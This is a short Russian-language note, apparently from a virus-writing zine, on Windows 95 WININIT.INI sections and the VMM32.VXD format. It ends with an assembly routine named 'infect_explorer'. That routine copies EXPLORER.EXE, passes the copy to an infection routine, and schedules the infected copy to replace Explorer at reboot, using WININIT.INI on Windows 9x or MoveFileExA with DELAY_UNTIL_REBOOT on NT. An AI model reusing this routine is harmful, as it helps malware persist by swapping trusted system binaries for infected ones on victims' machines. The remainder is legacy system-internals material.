## Про WININIT.INI

Перед загрузкой маздая WININIT.EXE обрабатывает WININIT.INI: из секции [rename] считываются соответствующие имена и происходит так называемое "обновление" файлов.

    WININIT.INI:
      [rename]
      C:\WINDOWS\OLDFILE.EXE=C:\WINDOWS\NEWFILE.EXE

Требуется подобная фича тогда, когда подлежащий обновлению OLDFILE.EXE является, например, открытым или исполняемым в настоящий момент. (типа EXPLORER.EXE или KERNEL32.DLL)

Но мало кто знает, что кроме [rename] есть еще более убойная вещь, называемая [CombineVxDs]. Найдено оно было случайно при инсталляции win95, и, хотя тестировать такое мне попросту лениво, но это стопроцентно как-то работает.
Итак, вот что я нашел:

    WININIT.INI:
      [CombineVxDs]
      C:\WINDOWS\SYSTEM\VMM32\vkd.vxd=C:\WINDOWS\SYSTEM\vmm32.vxd

И действительно, взглянув в WININIT.EXE, я увидел не только rename и CombineVxDs, но и какое-то SetupOptions.

Короче говоря, флаг вам в руки...

## ПРИМЕЧАНИЯ

1. Обычный VMM32.VXD представляет из себя следующее:

    VMM32.VXD:
      [dos-loader]   ~64k
      формат W4:
      [таблица указателей на VxD-файлы] ~1k
      [запакованные VxD-файлы]

2. Распакованный VMM32.VXD представляет из себя вот что:

    VMM32.VXD:
      [dos-loader]   те же самые 64k
      формат W3:
      [таблица указателей на VxD-файлы] ~2k
      [распакованные VxD-файлы] (без MZ-хеадеров)

3. Работа с VMM32.VXD осуществляется утилитой DEVLIB.EXE из DDK\BIN.

       devlib -u vmm32.vxd -- распаковываем
       devlib -d vmm32.vxd -- получаем список VxDей (дамп таблицы указателей)
       devlib -d vmm32.vxd dosmgr -- выдираем dosmgr.vxd (будет без MZ-хеадера)

4. Пример добавления секции [rename] в WININIT.INI:

    wininit_ini             db      'C:\WINDOWS\WININIT.INI',0
    wininit_section         db      'rename',0
    file_exe                db      'C:\WINDOWS\EXPLORER.EXE',0
    file_tmp                db      'C:\WINDOWS\EXPLORER.TMP',0

    infect_explorer:        push    0
                            push    file_tmp
                            push    file_exe
                            callW   CopyFileA

                            lea     edx, file_tmp
                            call    INFECT_FILE

                            callW   GetVersion
                            shl     eax, 1
                            jnc     __winNT

    __win95:                push    offset wininit_ini
                            push    offset file_tmp
                            push    offset file_exe
                            push    offset wininit_section
                            callW   WritePrivateProfileStringA

                            jmp     __exit

    __winNT:                push    4 ; DELAY_UNTIL_REBOOT
                            push    0
                            push    offset file_exe
                            callW   MoveFileExA

                            push    4 ; DELAY_UNTIL_REBOOT
                            push    offset file_exe
                            push    offset file_tmp
                            call    MoveFileExA

    __exit:                 ret     ; infect_explorer

* * *